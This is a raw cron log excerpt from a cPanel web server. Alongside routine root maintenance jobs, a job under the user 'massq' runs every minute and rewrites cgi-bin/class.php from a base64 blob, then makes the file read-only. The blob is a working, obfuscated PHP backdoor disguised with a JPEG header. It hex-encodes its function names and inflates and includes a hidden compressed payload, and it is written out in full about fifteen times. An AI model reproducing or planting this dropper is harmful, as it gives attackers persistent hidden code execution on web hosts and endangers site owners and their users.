Sep  2 11:20:01 server CROND[18963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:20:01 server CROND[18962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:20:01 server CROND[18958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:20:01 server CROND[18965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:21:01 server CROND[19907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:21:01 server CROND[19908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:21:01 server CROND[19909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:22:01 server CROND[20309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:22:01 server CROND[20311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:22:01 server CROND[20310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:23:01 server CROND[20741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:23:01 server CROND[20742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:23:01 server CROND[20743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:24:01 server CROND[21146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:24:01 server CROND[21147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:24:01 server CROND[21148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:25:01 server CROND[21598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:25:01 server CROND[21600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:25:01 server CROND[21601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:25:01 server CROND[21602]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:25:01 server CROND[21606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:25:01 server CROND[21605]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:25:01 server CROND[21612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:26:01 server CROND[22568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:26:01 server CROND[22567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:26:01 server CROND[22569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:27:01 server CROND[23123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:27:01 server CROND[23126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:27:01 server CROND[23125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:27:01 server CROND[23127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:28:01 server CROND[23508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:28:01 server CROND[23509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:28:01 server CROND[23510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:29:01 server CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:29:01 server CROND[23883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:29:01 server CROND[23884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:30:01 server CROND[24288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:30:01 server CROND[24287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:30:01 server CROND[24291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:30:01 server CROND[24289]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:30:01 server CROND[24290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:30:01 server CROND[24292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:30:01 server CROND[24296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:30:01 server CROND[24293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:31:01 server CROND[25309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:31:01 server CROND[25310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:31:01 server CROND[25311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:32:01 server CROND[25750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:32:01 server CROND[25751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
